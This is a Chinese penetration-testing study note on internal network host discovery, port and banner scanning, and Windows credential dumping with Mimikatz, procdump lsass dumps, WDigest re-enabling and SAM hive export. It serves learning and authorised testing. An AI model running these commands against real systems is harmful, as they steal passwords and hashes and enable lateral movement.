10月2日笔记(内网资源探测篇)
内网资源探测
在内网渗透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。这些信息可以帮助测试人员发现内网的薄弱资源,确定后续的攻击方向。
发现内网存活主机
基于ICMP发现存活主机
可以使用ICMP循环对整个网段中的每个IP地址执行ping命令,所以能够ping通的ip地址即为内网中存活的主机。
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I |findstr "TTL="
说明该局域网C段存活三台主机。
基于NetBIOS(网络基本输入/输出系统)协议发现存活主机
NetBIOS提供OSI/RM的会话层(在TCP/IP模型中包含在应用层中)服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。严格来说,NetBIOS不是一种协议,而是一种应用程序接口(Application Program Interface,API)。几乎所有局域网都是在NetBIOS协议的基础上工作的,操作系统可以利用WTNS服务、广播、Lmhost文件等模式将NetBIOS名解析为相应的IP地址。NetBIOS的工作流程就是正常的机器名解析、查询、应答的过程。在Windows中,默认安装TCP/IP后会自动安装NetBIOS。
在实际利用时,向局域网的每个IP地址发送NetBIOS状态查询,可以获得主机名、MAC地址等信息。NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。NBTScan可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的P地址、NetBIOS计算机名、登录用户名和MAC地址。
下载链接:nbtscan下载
将nbscan.exe上传到目标主机,执行以下命令:
nbscan.exe 192.168.52.1/24
基于UDP发现存活主机
在实际利用中,可以将一个空的UDP报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP探测就马上得到一个ICMP端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。
Unicornscan是Kali Linux平台的一款信息收集工具,提供了网络扫描功能。执行以下命令,通过UDP协议扫描内网的存活主机。
unicornscan -mU 192.168.52.0/24
基于ARP发现存活主机
ARP(Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后,将该P地址和物理地址存入本机ARP缓存,并保留一定时间,下次请求时直接查询ARP缓存,以节约资源。
在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。
1、ARP-Scan的使用
ARP-Scan是一款快速、便捷的内网扫描工具,利用ARP发现内网中存活的主机。将工具上传到目标主机。
项目:https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan
执行以下命令,即可扫描内网中存活的主机。
arp-scan.exe -t 192.168.52.0/24
2、PowerShell的利用
脚本地址:git/Invoke-ARPScan.ps1 at master · sinmygit/git · GitHub
Empire渗透框架的Invoke-ARPScan.psl脚本可利用ARP发现内网存活主机。使用时,需要将脚本导入执行:
Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.52.0/24
发现无法执行脚本,以管理员的身份打开powershell。执行以下命令:
set-ExecutionPolicy RemoteSigned
更改策略之后就不会报错了。
基于SMB(Server Message Block,服务器消息块)协议发现存活主机
SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向于使用445端口。
在实际利用中,可以探测局域网中存在的SMB服务,从而发现更多的存活主机。多用于windows主机的发现。
CrackMapExec(简称CME)是一款十分强大的后渗透利用工具,在Kali Linux上可以直接使用apt-get命令进行安装。CrackMapExec能够枚举登录用户、枚举SMB服务列表、执行WNRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性。执行以下命令:
crackmapexec smb 193.168.52.0/24
探测局域网中存在的SMB服务,从而发现内网中的存活主机。
内网端口扫描
1、使用telnet探测端口
Telnet是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet命令可以简单测试指定的端口号是正常打开还是关闭状态。
telnet <IP> <Port>
像这种就是说明对应的端口是开放的。
2、使用nmap进行端口扫描
扫描指定端口:
nmap -p <Port> <ip>
eg:nmap -p 80,88,135,139,443,8080,3306,3389 192.168.52.138
扫描目标主机全部开发端口:
nmap -p 1-65535 -sS 192.168.52.138
利用MetaSploit探测内网
获取端口Banner信息
Banner中可能包含一些敏感信息。通过查看端口的Banner,测试人员往往可以获取软件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。
1、利用Netcat(nc)获取端口Banner
通过指定netcat的“nv”选项,可以在连接指定的端口时获取该端口的Banner信息。
nc -nv <ip> <port>
我这里的是没有这个提示,但是有些端口可能会有。
2、利用Telnet获取端口Banner
如果端口开放,使用telnet连接后,也会返回相应的Banner信息。
telnet <IP> <Port>
3、利用nmap获取端口Banner
在nmap中指定脚本“–script=banner”,可以在端口扫描过程中获取端口的Banner信息。
nmap --script=banner -p <ports> <IP>
用户凭据收集
当测试人员获取某台机器后,会以被攻陷的主机为跳板进行横向渗透,进一步扩大所掌控的资源范围。但是横向渗透中的很多攻击都需要先获取到域内用户的密码或者哈希值才能进行,如:哈希传递攻击、票据传递攻击等。所以在进行信息收集时,要尽可能收集域内用户的登录凭据等信息。
获取域内单机密码和哈希值
SAM文件是什么?lsass.exe系统进程的作用?
在Windows中,**SAM文件是Windows用户的账户数据库,位于系统的%SystemRoot%\System3\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。**用户输入密码登录时,用户输入的明文密码被转换为哈希值,然后与SAM文件中的哈希值对比,若相同,则认证成功。**lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。**在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。
用于获取主机的用户密码和哈希值的工具大多都是通过多去SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多都需要管理员权限,意味着需要配合一些提权操作。
Mimikatz工具的使用
Mimikatz是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等,广泛用于内网渗透测试领域
项目地址:https://github.com/gentilkiwi/mimikatz/
Mimikatz使用教程
privilege(提权相关模块)
attention:privilege::debug进入mimikatz命令交互界面的首要操作,也是最基本的操作。
privilege::security //调整为安全权限
privilege::restore //恢复原来权限
privilege::sysenv //调整为系统环境权限
privilege::driver //调整为装载驱动权限
sekurlsa(与用户凭证相关的模块,可以从lsass进程中提取passwords、keys、tickets等信息)
sekurlsa::msv //读取用户对应密码的各种加密协议的密文(NTML、SHA1等),低版本windows可以读取为明文
sekurlsa::wdigest //wdigest凭证,运用程序漏洞可逆的手法去读取密码明文
sekurlsa::tspkg //tspkg凭证sekurlsa::logonpasswords //常用并重点使用!!!直接集成上面多条指令功能,读取用户各种凭证和信息。sekurlsa::tickets //列出kerberos中的票据
sekurlsa::tickets /export //导出票据#下面两条命令结合使用,可以将转储的lsass进程为lsass.dmp文件,离线读取内存信息
sekurlsa::minidump <filename>或lsass.dump //加载对应文件(lsass.dump)
sekurlsa::logonPasswords full //读取文件信息
kerberos 协议相关模块(常用于 黄金/白银票据)
kerberos::list //列出系统中的所有票据
kerberos::purge //清除系统中的票据
kerberos::ptt //pass-the-ticket,票据传递攻击(内网横移操作)
kerberos::golden //伪造黄金和白银票据使用,具体构造方法不相同kerberos::ptc //票据路径
kerberos::ptc <票据名> //导入票据
process(进程模块)
process::list //列出进程列表
process::exports //导出进程列表
process::start //开始一个进程
process::stop //停止一个进程
service(服务管理模块)
service::start //开始服务。
service::remove //移除服务。
service::stop //停止服务。
service::suspend //暂停服务。
service::resume //恢复服务。
service::preshutdown //关闭服务。
service::shutdown //关闭服务。
service::list //列出服务。
lsadump(对域控操作模块)
Lsadump::secrets //从registry获取保存的密码凭据,可以直接获取明文密码。
lsadump::lsa /patch //读取所有用户的哈希
lsadump::sam //sam表获取Hash
lsadump::dcsync //通过dcsync利用目录复制服务(DRS)从NTDS.DIT文件中拿到密码哈希值(在域控权限下获取)
lsadump::dcsync /domain:xxxx.com /user:xxxx //查看域内指定用户信息,包括NTLM哈希等
lsadump::dcsync /domain:xxxx.com /all /csv //查看所有域用户
1、在线读取lsass进程内存
上传mimikatz.exe到目标主机之后。
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit
2、离线读取lsass内存文件
mimikatz无法上传到目标主机,可以使用Procdump工具进行进程离线存储成dmp文件。
项目地址:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
首先在目标主机上传Prodump程序(微软的不会杀掉),执行以下命令:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后在攻击机上执行一下命令:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
注意:微软在2014年5月发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows Server20l2及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能。当用户注销或者重新登录后,就可以重新获取到用户的明文密码。
开启WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
在线读取本地SAM文件
将mimikatz.exe上传到目标主机后执行以下命令:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
token::elevate------------用于提升至SYSTEM权限
读取SAM文件中保存的用户登录凭据,可以导出当前系统重所有本地用户的哈希值。
离线读取本地的SAM文件
离线读取就是将SAM文件导出,使用Mimikatz加载并读取其中的用户登录凭据等信息。注意,为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件位于相同目录下。
在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个文件是被锁定的,所以需要借助一些工具来实现,而PowerSploit项目中提供的Invoke-NinjaCopy.ps1脚本可以完成这项工作。
脚本地址:PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1 at master · PowerShellMafia/PowerSploit · GitHub
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Temp\SAM
也可以在管理员权限下执行命令:通过保存注册表的方式导出
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
然后将导出的SAM和SYSTEM文件复制到本地,使用Mimikatz加载并读取SAM中的用户凭据信息
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
相关文章:

10月2日笔记(内网资源探测篇)
内网资源探测 在内网渗透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本…...

SpringCloud-基于Docker和Docker-Compose的项目部署
一、初始化环境 1. 卸载旧版本 首先,卸载可能已存在的旧版本 Docker。如果您不确定是否安装过,可以直接执行以下命令: sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logro…...

Linux下的基本指令/命令(一)
目录 基本命令 1. Is命令/指令: 罗列当前目录下指定的文件或者目录. 2. pwd命令: 查看当前工作的路径 3. cd命令: 切换到指定路径下。 只能切换到目录中 4. tree命令: 树状显式目录 使用前要输入命令 yum install -y tree ,用来安装一个…...

从零开始Ubuntu24.04上Docker构建自动化部署(四)Docker安装gitlab
你会发现所有gitlab都无法拉取到的情况下,经查找极狐下的gitlab还可以下载,具体如下: 建议保存地址: https://packages.gitlab.cn/#browse/searchkeyword%3Dgitlab 最新版本: sudo docker pull registry.gitlab.cn…...
No module named ‘_ssl‘
目录 背景具体报错检验升级过程步骤一:升级ssl。步骤二:重新编译安装python 背景 换了台服务器按照之前centos升级python版本升级python正常编译安装成功,但是当使用时又出现了奇怪的报错,估计是机器太老了 具体报错 这个报错也…...

Linux —— Socket编程(三)
一、本章重点 1. tcp服务器实现思路,进一步了解和总结相关的接口 2. 了解日志和守护进程 二、tcp服务器核心思路 tcp版的服务器与udp的不同在于,udp是面向数据报传输数据,在数据传输中不需要建立与客户端的链接,直接用recvfrom…...
5G N2 N3 N6 NB口
在5G架构中,N2、N3和N6是三种关键的接口,每个接口都有其特定的功能和应用场景。 N2接口: N2接口是5G无线接入网(RAN)与5G核心网(5GC)之间的控制面接口。它主要负责传递控制平面消息,…...
【数据结构】堆(Heap)详解
在深入了解堆这一重要的数据结构之前,不妨先回顾一下我之前的作品 ——“二叉树详解”。 上篇文章👉剖析二叉树(Binary Tree) 二叉树作为一种基础的数据结构,为我们理解堆以及其他更复杂的数据结构奠定了坚实的基础。它…...

《Linux从小白到高手》理论篇(四):Linux用户和组相关的命令
List item 本篇介绍Linux用户和组相关的命令,看完本文,有关Linux用户和组相关的常用命令你就掌握了99%了。Linux用户和组相关的命令可以分为以下六类: 一.用户和用户组相关查询操作命令: Id id命令用于显示用户的身份标识。常见…...
OpenGL ES 之EGL(6)
OpenGL ES 之EGL(6) 简述 EGL是OpenGL ES的封装,目的是跨设备跨平台,隔离不同平台对窗口不同的实现。上一节我们基本没有使用到EGL,因为GLSurfaceView帮助我们处理了相关的逻辑,我们这一节来看一下EGL的一些概念以及接口的使用。…...

kotlin 委托
一、类委托 interface DB{fun insert() } class SqliteDB : DB {override fun insert() {println(" SqliteDB insert")} }class MySql : DB{override fun insert() {println(" MySql insert")} }class OracleDB : DB{override fun insert() {println(&quo…...

Stream流的中间方法
一.Stream流的中间方法 注意1:中间方法,返回新的Stream流,原来的Stream流只能使用一次,建议使用链式编程 注意2:修改Stream流中的数据,不会影响原来集合或者数组中的数据 二.filter filter的主要用法是…...

【车载开发系列】ParaSoft单元测试环境配置(四)
【车载开发系列】ParaSoft单元测试环境配置(四) 【车载开发系列】ParaSoft单元测试环境配置(四) 【车载开发系列】ParaSoft单元测试环境配置(四)一. 如何设置过滤二. 如何设置静态扫描的规则三. 如何设置单…...

IDEA 设置自动定位文件
一、场景分析 IDEA 在使用的过程中,发现有时候,打开一个类,它并不能自动帮我们在左侧 Project 树中定位出文件,需要自己手动点击 瞄准 图标。很不方便。 二、解决方法 1、点击 瞄准 图标旁边的 竖三点 2、将 Alwasy Select Opene…...

Nature Machine Intelligence 基于强化学习的扑翼无人机机翼应变飞行控制
尽管无人机技术发展迅速,但复制生物飞行的动态控制和风力感应能力,仍然遥不可及。生物学研究表明,昆虫翅膀上有机械感受器,即钟形感受器campaniform sensilla,探测飞行敏捷性至关重要的复杂气动载荷。 近日࿰…...
[Web安全 网络安全]-XXE 外部实体注入攻击XML
文章目录: 一:前言 1.定义 1.1 XXE 1.2 XML可扩展标记语言 2.DDT文档类型定义 2.1 分类 2.2 元素element DTD元素 DTD属性 2.3 实体entity DTD实体类别 DTD实体声明引用 声明:内部 外部 参数实体 公共实体 引用:…...

8--苍穹外卖-SpringBoot项目中套餐管理 详解(二)
目录 删除套餐 需求分析和设计 代码开发 根据id查询套餐 mapper层 Service层 ServiceImpl层 Mapper层 批量删除套餐 mapper层 Service层 ServiceImpl层 Mapper层 SetmealMapper.xml 修改套餐 需求分析和设计 代码开发 起售停售套餐 需求分析和设计 代码开发…...
测试面试题:pytest断言时,数据是符点类型,如何断言?
在使用 Pytest 进行断言时,如果数据是浮点类型,可以使用以下方法进行断言: 一、使用pytest.approx pytest.approx可以用来比较两个浮点数是否近似相等。例如: import pytestdef test_float_assertion():result 3.14159expecte…...
Python与MongoDB交互
一、基本概念 MongoDB: 一个面向文档的数据库系统,使用BSON(Binary JSON)作为存储格式。集合(Collection): 类似于关系型数据库中的表,是文档的集合。文档(Document): MongoDB中的基…...

安卓AI虚拟女友项目开发的Android开发环境搭建
第五章:Android开发环境搭建与基础入门 5-1 项目讲解思路说明 本文是安卓AI数字虚拟人项目实战的第五章,开发安卓AI安卓版数字虚拟人的Android基础部分。 在本章中,我们将详细介绍如何搭建Android开发环境,包括Android Studio的…...

大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...

Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
什么是EULA和DPA
文章目录 EULA(End User License Agreement)DPA(Data Protection Agreement)一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA(End User License Agreement) 定义: EULA即…...

NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...

Redis数据倾斜问题解决
Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中,部分节点存储的数据量或访问量远高于其他节点,导致这些节点负载过高,影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...

html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...

Chrome 浏览器前端与客户端双向通信实战
Chrome 前端(即页面 JS / Web UI)与客户端(C 后端)的交互机制,是 Chromium 架构中非常核心的一环。下面我将按常见场景,从通道、流程、技术栈几个角度做一套完整的分析,特别适合你这种在分析和改…...

实战三:开发网页端界面完成黑白视频转为彩色视频
一、需求描述 设计一个简单的视频上色应用,用户可以通过网页界面上传黑白视频,系统会自动将其转换为彩色视频。整个过程对用户来说非常简单直观,不需要了解技术细节。 效果图 二、实现思路 总体思路: 用户通过Gradio界面上…...

2025-05-08-deepseek本地化部署
title: 2025-05-08-deepseek 本地化部署 tags: 深度学习 程序开发 2025-05-08-deepseek 本地化部署 参考博客 本地部署 DeepSeek:小白也能轻松搞定! 如何给本地部署的 DeepSeek 投喂数据,让他更懂你 [实验目的]:理解系统架构与原…...